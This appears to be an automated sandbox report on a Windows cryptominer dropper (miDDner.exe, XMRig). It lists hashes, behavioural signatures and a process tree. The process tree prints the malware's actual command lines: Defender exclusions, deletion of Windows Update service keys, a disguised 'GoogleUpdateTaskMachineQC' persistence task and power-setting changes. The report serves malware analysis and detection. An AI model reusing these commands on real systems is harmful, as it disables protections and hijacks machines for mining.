Analysis
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max time kernel
1802s -
max time network
1816s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
26-03-2023 17:31
Static task
static1
Behavioral task
behavioral1
Sample
NL/FDERF.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral2
Sample
NL/miDDner.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral3
Sample
NL/minDer.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral4
Sample
NL/miner.exe
Resource
win10v2004-20230220-en
General
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Target
NL/miDDner.exe
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Size
53.0MB
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MD5
5c4eecf00e9f6e0222c205c3dc327bb8
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SHA1
2188e4b277e214364804a4ffcef23017a769722f
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SHA256
2fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
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SHA512
0b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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SSDEEP
786432:rZxRmsqYJysNiakCKIqHMzvX67SvdZiF4QI7rR8pUvlQ6Pb:dqYJysNiakCKJHMzvX6ofQAKpUdQ6
Malware Config
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
description pid Process procid_target PID 2076 created 3200 2076 miDDner.exe 51 PID 2076 created 3200 2076 miDDner.exe 51 PID 2076 created 3200 2076 miDDner.exe 51 PID 2076 created 3200 2076 miDDner.exe 51 PID 2076 created 3200 2076 miDDner.exe 51 PID 4600 created 3200 4600 updater.exe 51 PID 4600 created 3200 4600 updater.exe 51 PID 4600 created 3200 4600 updater.exe 51 PID 4600 created 3200 4600 updater.exe 51 PID 4600 created 3200 4600 updater.exe 51 PID 4600 created 3200 4600 updater.exe 51 -
XMRig Miner payload 32 IoCs
resource yara_rule behavioral2/memory/3284-247-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-249-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-251-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-253-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-257-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-261-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-263-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-265-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-267-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-269-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-271-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-273-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-275-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-277-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-279-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-281-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-283-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-285-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-287-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-289-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-291-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-293-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-295-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-297-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-299-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-301-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-303-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-305-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-307-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-309-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-311-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig behavioral2/memory/3284-313-0x00007FF760850000-0x00007FF761044000-memory.dmp xmrig -
Stops running service(s) 3 TTPs
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Executes dropped EXE 1 IoCs
pid Process 4600 updater.exe -
resource yara_rule behavioral2/memory/3284-247-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-249-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-251-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-253-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-257-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-261-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-263-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-265-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-267-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-269-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-271-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-273-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-275-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-277-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-279-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-281-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-283-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-285-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-287-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-289-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-291-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-293-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-295-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-297-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-299-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-301-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-303-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-305-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-307-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-309-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-311-0x00007FF760850000-0x00007FF761044000-memory.dmp upx behavioral2/memory/3284-313-0x00007FF760850000-0x00007FF761044000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4600 set thread context of 5016 4600 updater.exe 135 PID 4600 set thread context of 3284 4600 updater.exe 141 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe miDDner.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5056 sc.exe 228 sc.exe 1044 sc.exe 1320 sc.exe 3136 sc.exe 372 sc.exe 3804 sc.exe 3032 sc.exe 1612 sc.exe 3900 sc.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe -
Suspicious behavior: EnumeratesProcesses 36 IoCs
pid Process 2076 miDDner.exe 2076 miDDner.exe 3780 powershell.exe 3780 powershell.exe 2076 miDDner.exe 2076 miDDner.exe 2076 miDDner.exe 2076 miDDner.exe 2076 miDDner.exe 2076 miDDner.exe 4972 powershell.exe 4972 powershell.exe 2076 miDDner.exe 2076 miDDner.exe 3812 powershell.exe 3812 powershell.exe 4600 updater.exe 4600 updater.exe 876 powershell.exe 876 powershell.exe 4600 updater.exe 4600 updater.exe 4600 updater.exe 4600 updater.exe 4600 updater.exe 4600 updater.exe 4632 powershell.exe 4632 powershell.exe 4600 updater.exe 4600 updater.exe 4600 updater.exe 4600 updater.exe 5016 conhost.exe 5016 conhost.exe 4600 updater.exe 4600 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 672 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3780 powershell.exe Token: SeShutdownPrivilege 2232 powercfg.exe Token: SeCreatePagefilePrivilege 2232 powercfg.exe Token: SeDebugPrivilege 4972 powershell.exe Token: SeShutdownPrivilege 652 powercfg.exe Token: SeCreatePagefilePrivilege 652 powercfg.exe Token: SeShutdownPrivilege 3964 powercfg.exe Token: SeCreatePagefilePrivilege 3964 powercfg.exe Token: SeShutdownPrivilege 948 powercfg.exe Token: SeCreatePagefilePrivilege 948 powercfg.exe Token: SeIncreaseQuotaPrivilege 4972 powershell.exe Token: SeSecurityPrivilege 4972 powershell.exe Token: SeTakeOwnershipPrivilege 4972 powershell.exe Token: SeLoadDriverPrivilege 4972 powershell.exe Token: SeSystemProfilePrivilege 4972 powershell.exe Token: SeSystemtimePrivilege 4972 powershell.exe Token: SeProfSingleProcessPrivilege 4972 powershell.exe Token: SeIncBasePriorityPrivilege 4972 powershell.exe Token: SeCreatePagefilePrivilege 4972 powershell.exe Token: SeBackupPrivilege 4972 powershell.exe Token: SeRestorePrivilege 4972 powershell.exe Token: SeShutdownPrivilege 4972 powershell.exe Token: SeDebugPrivilege 4972 powershell.exe Token: SeSystemEnvironmentPrivilege 4972 powershell.exe Token: SeRemoteShutdownPrivilege 4972 powershell.exe Token: SeUndockPrivilege 4972 powershell.exe Token: SeManageVolumePrivilege 4972 powershell.exe Token: 33 4972 powershell.exe Token: 34 4972 powershell.exe Token: 35 4972 powershell.exe Token: 36 4972 powershell.exe Token: SeIncreaseQuotaPrivilege 4972 powershell.exe Token: SeSecurityPrivilege 4972 powershell.exe Token: SeTakeOwnershipPrivilege 4972 powershell.exe Token: SeLoadDriverPrivilege 4972 powershell.exe Token: SeSystemProfilePrivilege 4972 powershell.exe Token: SeSystemtimePrivilege 4972 powershell.exe Token: SeProfSingleProcessPrivilege 4972 powershell.exe Token: SeIncBasePriorityPrivilege 4972 powershell.exe Token: SeCreatePagefilePrivilege 4972 powershell.exe Token: SeBackupPrivilege 4972 powershell.exe Token: SeRestorePrivilege 4972 powershell.exe Token: SeShutdownPrivilege 4972 powershell.exe Token: SeDebugPrivilege 4972 powershell.exe Token: SeSystemEnvironmentPrivilege 4972 powershell.exe Token: SeRemoteShutdownPrivilege 4972 powershell.exe Token: SeUndockPrivilege 4972 powershell.exe Token: SeManageVolumePrivilege 4972 powershell.exe Token: 33 4972 powershell.exe Token: 34 4972 powershell.exe Token: 35 4972 powershell.exe Token: 36 4972 powershell.exe Token: SeIncreaseQuotaPrivilege 4972 powershell.exe Token: SeSecurityPrivilege 4972 powershell.exe Token: SeTakeOwnershipPrivilege 4972 powershell.exe Token: SeLoadDriverPrivilege 4972 powershell.exe Token: SeSystemProfilePrivilege 4972 powershell.exe Token: SeSystemtimePrivilege 4972 powershell.exe Token: SeProfSingleProcessPrivilege 4972 powershell.exe Token: SeIncBasePriorityPrivilege 4972 powershell.exe Token: SeCreatePagefilePrivilege 4972 powershell.exe Token: SeBackupPrivilege 4972 powershell.exe Token: SeRestorePrivilege 4972 powershell.exe Token: SeShutdownPrivilege 4972 powershell.exe -
Suspicious use of WriteProcessMemory 62 IoCs
description pid Process procid_target PID 3828 wrote to memory of 2232 3828 cmd.exe 95 PID 3828 wrote to memory of 2232 3828 cmd.exe 95 PID 668 wrote to memory of 228 668 cmd.exe 96 PID 668 wrote to memory of 228 668 cmd.exe 96 PID 3828 wrote to memory of 652 3828 cmd.exe 97 PID 3828 wrote to memory of 652 3828 cmd.exe 97 PID 668 wrote to memory of 1044 668 cmd.exe 98 PID 668 wrote to memory of 1044 668 cmd.exe 98 PID 3828 wrote to memory of 3964 3828 cmd.exe 99 PID 3828 wrote to memory of 3964 3828 cmd.exe 99 PID 3828 wrote to memory of 948 3828 cmd.exe 101 PID 668 wrote to memory of 3032 668 cmd.exe 100 PID 3828 wrote to memory of 948 3828 cmd.exe 101 PID 668 wrote to memory of 3032 668 cmd.exe 100 PID 668 wrote to memory of 1612 668 cmd.exe 102 PID 668 wrote to memory of 1612 668 cmd.exe 102 PID 668 wrote to memory of 3900 668 cmd.exe 103 PID 668 wrote to memory of 3900 668 cmd.exe 103 PID 668 wrote to memory of 2748 668 cmd.exe 104 PID 668 wrote to memory of 2748 668 cmd.exe 104 PID 668 wrote to memory of 1188 668 cmd.exe 105 PID 668 wrote to memory of 1188 668 cmd.exe 105 PID 668 wrote to memory of 1580 668 cmd.exe 106 PID 668 wrote to memory of 1580 668 cmd.exe 106 PID 668 wrote to memory of 3268 668 cmd.exe 107 PID 668 wrote to memory of 3268 668 cmd.exe 107 PID 668 wrote to memory of 1936 668 cmd.exe 108 PID 668 wrote to memory of 1936 668 cmd.exe 108 PID 3812 wrote to memory of 3768 3812 powershell.exe 111 PID 3812 wrote to memory of 3768 3812 powershell.exe 111 PID 4572 wrote to memory of 1320 4572 cmd.exe 119 PID 4572 wrote to memory of 1320 4572 cmd.exe 119 PID 4572 wrote to memory of 3136 4572 cmd.exe 120 PID 4572 wrote to memory of 3136 4572 cmd.exe 120 PID 4668 wrote to memory of 1920 4668 cmd.exe 121 PID 4668 wrote to memory of 1920 4668 cmd.exe 121 PID 4572 wrote to memory of 5056 4572 cmd.exe 122 PID 4572 wrote to memory of 5056 4572 cmd.exe 122 PID 4572 wrote to memory of 372 4572 cmd.exe 123 PID 4572 wrote to memory of 372 4572 cmd.exe 123 PID 4572 wrote to memory of 3804 4572 cmd.exe 124 PID 4572 wrote to memory of 3804 4572 cmd.exe 124 PID 4668 wrote to memory of 1264 4668 cmd.exe 125 PID 4668 wrote to memory of 1264 4668 cmd.exe 125 PID 4572 wrote to memory of 4400 4572 cmd.exe 126 PID 4572 wrote to memory of 4400 4572 cmd.exe 126 PID 4572 wrote to memory of 2952 4572 cmd.exe 128 PID 4572 wrote to memory of 2952 4572 cmd.exe 128 PID 4668 wrote to memory of 5052 4668 cmd.exe 129 PID 4668 wrote to memory of 5052 4668 cmd.exe 129 PID 4572 wrote to memory of 2640 4572 cmd.exe 130 PID 4572 wrote to memory of 2640 4572 cmd.exe 130 PID 4572 wrote to memory of 3388 4572 cmd.exe 131 PID 4572 wrote to memory of 3388 4572 cmd.exe 131 PID 4668 wrote to memory of 564 4668 cmd.exe 132 PID 4668 wrote to memory of 564 4668 cmd.exe 132 PID 4572 wrote to memory of 2220 4572 cmd.exe 133 PID 4572 wrote to memory of 2220 4572 cmd.exe 133 PID 4600 wrote to memory of 5016 4600 updater.exe 135 PID 4396 wrote to memory of 3144 4396 cmd.exe 140 PID 4396 wrote to memory of 3144 4396 cmd.exe 140 PID 4600 wrote to memory of 3284 4600 updater.exe 141 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3200
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C:\Users\Admin\AppData\Local\Temp\NL\miDDner.exe"C:\Users\Admin\AppData\Local\Temp\NL\miDDner.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2076
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3780
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:668 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:228
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1044
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:3032
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1612
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:3900
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:2748
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1188
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1580
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:3268
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1936
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hpfjuzary#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4972
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:3828 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:2232
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:652
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:3964
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:948
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#jcugcwsbl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3812 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3768
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:876
